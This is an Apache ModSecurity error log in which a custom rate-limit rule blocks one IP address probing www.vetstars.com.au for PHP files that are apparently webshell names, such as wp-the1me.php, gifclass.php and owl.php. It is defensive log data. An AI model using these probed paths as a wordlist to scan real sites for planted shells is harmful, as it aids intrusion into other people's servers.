[Thu Dec 18 21:40:54.625745 2025] [:error] [pid 12239:tid 12247] [client 4.196.84.157:13389] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class19.php"] [unique_id "aUQEZtNnXxfGIuWO6akg-gAAAoM"]
[Thu Dec 18 21:40:54.686677 2025] [:error] [pid 23558:tid 23634] [client 4.196.84.157:19992] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the1me.php"] [unique_id "aUQEZuHam9NbgPQa9uYtBwAAANM"]
[Thu Dec 18 21:40:54.742820 2025] [:error] [pid 23558:tid 23621] [client 4.196.84.157:19983] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the1me.php"] [unique_id "aUQEZuHam9NbgPQa9uYtCAAAAMY"]
[Thu Dec 18 21:40:54.811522 2025] [:error] [pid 23558:tid 23630] [client 4.196.84.157:13427] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the1me.php"] [unique_id "aUQEZuHam9NbgPQa9uYtCQAAAM8"]
[Thu Dec 18 21:40:54.961831 2025] [:error] [pid 24433:tid 24453] [client 4.196.84.157:22325] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the1me.php"] [unique_id "aUQEZp4pN9ycmipm8TjgyAAAARE"]
[Thu Dec 18 21:40:55.180508 2025] [:error] [pid 23645:tid 23662] [client 4.196.84.157:22999] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lala.php"] [unique_id "aUQEZzf_Rx0Y0ao_QJhkvQAAAI8"]
[Thu Dec 18 21:40:55.483373 2025] [:error] [pid 12239:tid 12262] [client 4.196.84.157:13410] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lala.php"] [unique_id "aUQEZ9NnXxfGIuWO6akg-wAAApI"]
[Thu Dec 18 21:40:55.863721 2025] [:error] [pid 23556:tid 23574] [client 4.196.84.157:14711] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lala.php"] [unique_id "aUQEZxnmLlk3u5yt9kHvgAAAAA4"]
[Thu Dec 18 21:40:56.072591 2025] [:error] [pid 25357:tid 25377] [client 4.196.84.157:22303] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lala.php"] [unique_id "aUQEaIaT7bsEXnJVfJdyDAAAAdI"]
[Thu Dec 18 21:40:56.794562 2025] [:error] [pid 25357:tid 25372] [client 4.196.84.157:14524] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "aUQEaIaT7bsEXnJVfJdyDgAAAc0"]
[Thu Dec 18 21:40:56.978770 2025] [:error] [pid 25357:tid 25361] [client 4.196.84.157:24177] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "aUQEaIaT7bsEXnJVfJdyDwAAAcI"]
[Thu Dec 18 21:40:57.492737 2025] [:error] [pid 24542:tid 24563] [client 4.196.84.157:23035] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "aUQEaUtQz4H2oS3NrDYnMwAAAVM"]
[Thu Dec 18 21:40:58.549849 2025] [:error] [pid 12239:tid 12248] [client 4.196.84.157:24515] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "aUQEatNnXxfGIuWO6akhAAAAAoQ"]
[Thu Dec 18 21:40:59.234056 2025] [:error] [pid 12383:tid 12386] [client 4.196.84.157:29622] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aUQEa_dgllo9h1cyxGbMcwAAAsA"]
[Thu Dec 18 21:41:00.018783 2025] [:error] [pid 24542:tid 24556] [client 4.196.84.157:22323] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aUQEbEtQz4H2oS3NrDYnOwAAAUw"]
[Thu Dec 18 21:41:00.396880 2025] [:error] [pid 12239:tid 12268] [client 4.196.84.157:14686] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aUQEbNNnXxfGIuWO6akhBAAAApg"]
[Thu Dec 18 21:41:00.520106 2025] [:error] [pid 12239:tid 12252] [client 4.196.84.157:13417] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aUQEbNNnXxfGIuWO6akhBQAAAog"]
[Thu Dec 18 21:41:00.690900 2025] [:error] [pid 23558:tid 23636] [client 4.196.84.157:48405] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aUQEbOHam9NbgPQa9uYtDgAAANU"]
[Thu Dec 18 21:41:00.889449 2025] [:error] [pid 12239:tid 12251] [client 4.196.84.157:22316] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aUQEbNNnXxfGIuWO6akhBgAAAoc"]
[Thu Dec 18 21:41:01.450387 2025] [:error] [pid 12239:tid 12262] [client 4.196.84.157:13379] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aUQEbdNnXxfGIuWO6akhCAAAApI"]
[Thu Dec 18 21:41:01.705642 2025] [:error] [pid 24542:tid 24545] [client 4.196.84.157:13412] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aUQEbUtQz4H2oS3NrDYnPgAAAUE"]
[Thu Dec 18 21:41:02.021114 2025] [:error] [pid 12035:tid 12051] [client 4.196.84.157:23030] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aUQEbrcVHrNSHjCo-0qeGQAAAgk"]
[Thu Dec 18 21:41:02.385560 2025] [:error] [pid 23558:tid 23639] [client 4.196.84.157:14509] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aUQEbuHam9NbgPQa9uYtEgAAANg"]
[Thu Dec 18 21:41:02.918732 2025] [:error] [pid 12239:tid 12267] [client 4.196.84.157:22333] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aUQEbtNnXxfGIuWO6akhDQAAApc"]
[Thu Dec 18 21:41:03.524786 2025] [:error] [pid 25357:tid 25366] [client 4.196.84.157:14692] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aUQEb4aT7bsEXnJVfJdyFQAAAcc"]
[Thu Dec 18 21:41:03.965916 2025] [:error] [pid 23645:tid 23659] [client 4.196.84.157:13433] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aUQEbzf_Rx0Y0ao_QJhkxwAAAIw"]
[Thu Dec 18 21:41:04.428171 2025] [:error] [pid 24433:tid 24454] [client 4.196.84.157:14494] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aUQEcJ4pN9ycmipm8TjgzAAAARI"]
[Thu Dec 18 21:41:04.923859 2025] [:error] [pid 12239:tid 12249] [client 4.196.84.157:22322] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aUQEcNNnXxfGIuWO6akhEQAAAoU"]
[Thu Dec 18 21:41:05.149988 2025] [:error] [pid 23645:tid 23658] [client 4.196.84.157:14982] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aUQEcTf_Rx0Y0ao_QJhkyQAAAIs"]
[Thu Dec 18 21:41:05.668059 2025] [:error] [pid 24542:tid 24553] [client 4.196.84.157:29575] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aUQEcUtQz4H2oS3NrDYnQQAAAUk"]
[Thu Dec 18 21:41:06.310730 2025] [:error] [pid 24958:tid 24985] [client 4.196.84.157:13382] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aUQEcskDOrUkd0wNm2HTZwAAAZg"]
[Thu Dec 18 21:41:06.799219 2025] [:error] [pid 24433:tid 24449] [client 4.196.84.157:24530] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aUQEcp4pN9ycmipm8TjgzwAAAQ0"]
[Thu Dec 18 21:41:07.057172 2025] [:error] [pid 23558:tid 23624] [client 4.196.84.157:24553] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aUQEc-Ham9NbgPQa9uYtGAAAAMk"]
[Thu Dec 18 21:41:07.594217 2025] [:error] [pid 25357:tid 25360] [client 4.196.84.157:17683] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hk.php"] [unique_id "aUQEc4aT7bsEXnJVfJdyGAAAAcE"]
[Thu Dec 18 21:41:08.306970 2025] [:error] [pid 25357:tid 25364] [client 4.196.84.157:13391] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hk.php"] [unique_id "aUQEdIaT7bsEXnJVfJdyGgAAAcU"]
[Thu Dec 18 21:41:08.834206 2025] [:error] [pid 12035:tid 12062] [client 4.196.84.157:24521] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hk.php"] [unique_id "aUQEdLcVHrNSHjCo-0qeHQAAAhM"]
[Thu Dec 18 21:41:08.913769 2025] [:error] [pid 25357:tid 25371] [client 4.196.84.157:14674] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hk.php"] [unique_id "aUQEdIaT7bsEXnJVfJdyHQAAAcw"]
[Thu Dec 18 21:41:09.108770 2025] [:error] [pid 25357:tid 25369] [client 4.196.84.157:17680] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yas.php"] [unique_id "aUQEdYaT7bsEXnJVfJdyHgAAAco"]
[Thu Dec 18 21:41:09.314889 2025] [:error] [pid 24958:tid 24963] [client 4.196.84.157:20004] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yas.php"] [unique_id "aUQEdckDOrUkd0wNm2HTagAAAYI"]
[Thu Dec 18 21:41:09.715134 2025] [:error] [pid 12239:tid 12256] [client 4.196.84.157:16801] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yas.php"] [unique_id "aUQEddNnXxfGIuWO6akhHAAAAow"]
[Thu Dec 18 21:41:09.953301 2025] [:error] [pid 12239:tid 12257] [client 4.196.84.157:13411] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yas.php"] [unique_id "aUQEddNnXxfGIuWO6akhHgAAAo0"]
[Thu Dec 18 21:41:10.396816 2025] [:error] [pid 24542:tid 24545] [client 4.196.84.157:1042] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp.php"] [unique_id "aUQEdktQz4H2oS3NrDYnRgAAAUE"]
[Thu Dec 18 21:41:11.702998 2025] [:error] [pid 24542:tid 24550] [client 4.196.84.157:14530] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp.php"] [unique_id "aUQEd0tQz4H2oS3NrDYnTQAAAUY"]
[Thu Dec 18 21:41:12.141343 2025] [:error] [pid 24958:tid 24975] [client 4.196.84.157:13402] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp.php"] [unique_id "aUQEeMkDOrUkd0wNm2HTbAAAAY4"]
[Thu Dec 18 21:41:12.346126 2025] [:error] [pid 23556:tid 23561] [client 4.196.84.157:14688] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp.php"] [unique_id "aUQEeBnmLlk3u5yt9kHvuAAAAAE"]
[Thu Dec 18 21:41:12.699799 2025] [:error] [pid 12239:tid 12266] [client 4.196.84.157:13384] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-gr.php"] [unique_id "aUQEeNNnXxfGIuWO6akhLgAAApY"]
[Thu Dec 18 21:41:13.108177 2025] [:error] [pid 23556:tid 23574] [client 4.196.84.157:17695] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-gr.php"] [unique_id "aUQEeRnmLlk3u5yt9kHvuQAAAA4"]
[Thu Dec 18 21:41:13.649332 2025] [:error] [pid 23558:tid 23628] [client 4.196.84.157:15029] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-gr.php"] [unique_id "aUQEeeHam9NbgPQa9uYtIAAAAM0"]
[Thu Dec 18 21:41:14.054803 2025] [:error] [pid 12239:tid 12267] [client 4.196.84.157:22277] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-gr.php"] [unique_id "aUQEetNnXxfGIuWO6akhMgAAApc"]
[Thu Dec 18 21:41:14.637232 2025] [:error] [pid 12239:tid 12251] [client 4.196.84.157:20029] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/owl.php"] [unique_id "aUQEetNnXxfGIuWO6akhOAAAAoc"]
[Thu Dec 18 21:41:14.896719 2025] [:error] [pid 25357:tid 25377] [client 4.196.84.157:14706] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/owl.php"] [unique_id "aUQEeoaT7bsEXnJVfJdyIwAAAdI"]
[Thu Dec 18 21:41:15.178510 2025] [:error] [pid 24433:tid 24459] [client 4.196.84.157:24549] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/owl.php"] [unique_id "aUQEe54pN9ycmipm8Tjg0gAAARc"]
[Thu Dec 18 21:41:15.736107 2025] [:error] [pid 23558:tid 23620] [client 4.196.84.157:16784] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/owl.php"] [unique_id "aUQEe-Ham9NbgPQa9uYtIgAAAMU"]
[Thu Dec 18 21:41:16.435653 2025] [:error] [pid 24542:tid 24551] [client 4.196.84.157:17682] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mo.php"] [unique_id "aUQEfEtQz4H2oS3NrDYnUQAAAUc"]
[Thu Dec 18 21:41:16.582525 2025] [:error] [pid 24958:tid 24983] [client 4.196.84.157:16816] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mo.php"] [unique_id "aUQEfMkDOrUkd0wNm2HTcQAAAZY"]
[Thu Dec 18 21:41:16.771897 2025] [:error] [pid 23556:tid 23575] [client 4.196.84.157:24656] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mo.php"] [unique_id "aUQEfBnmLlk3u5yt9kHvwAAAAA8"]
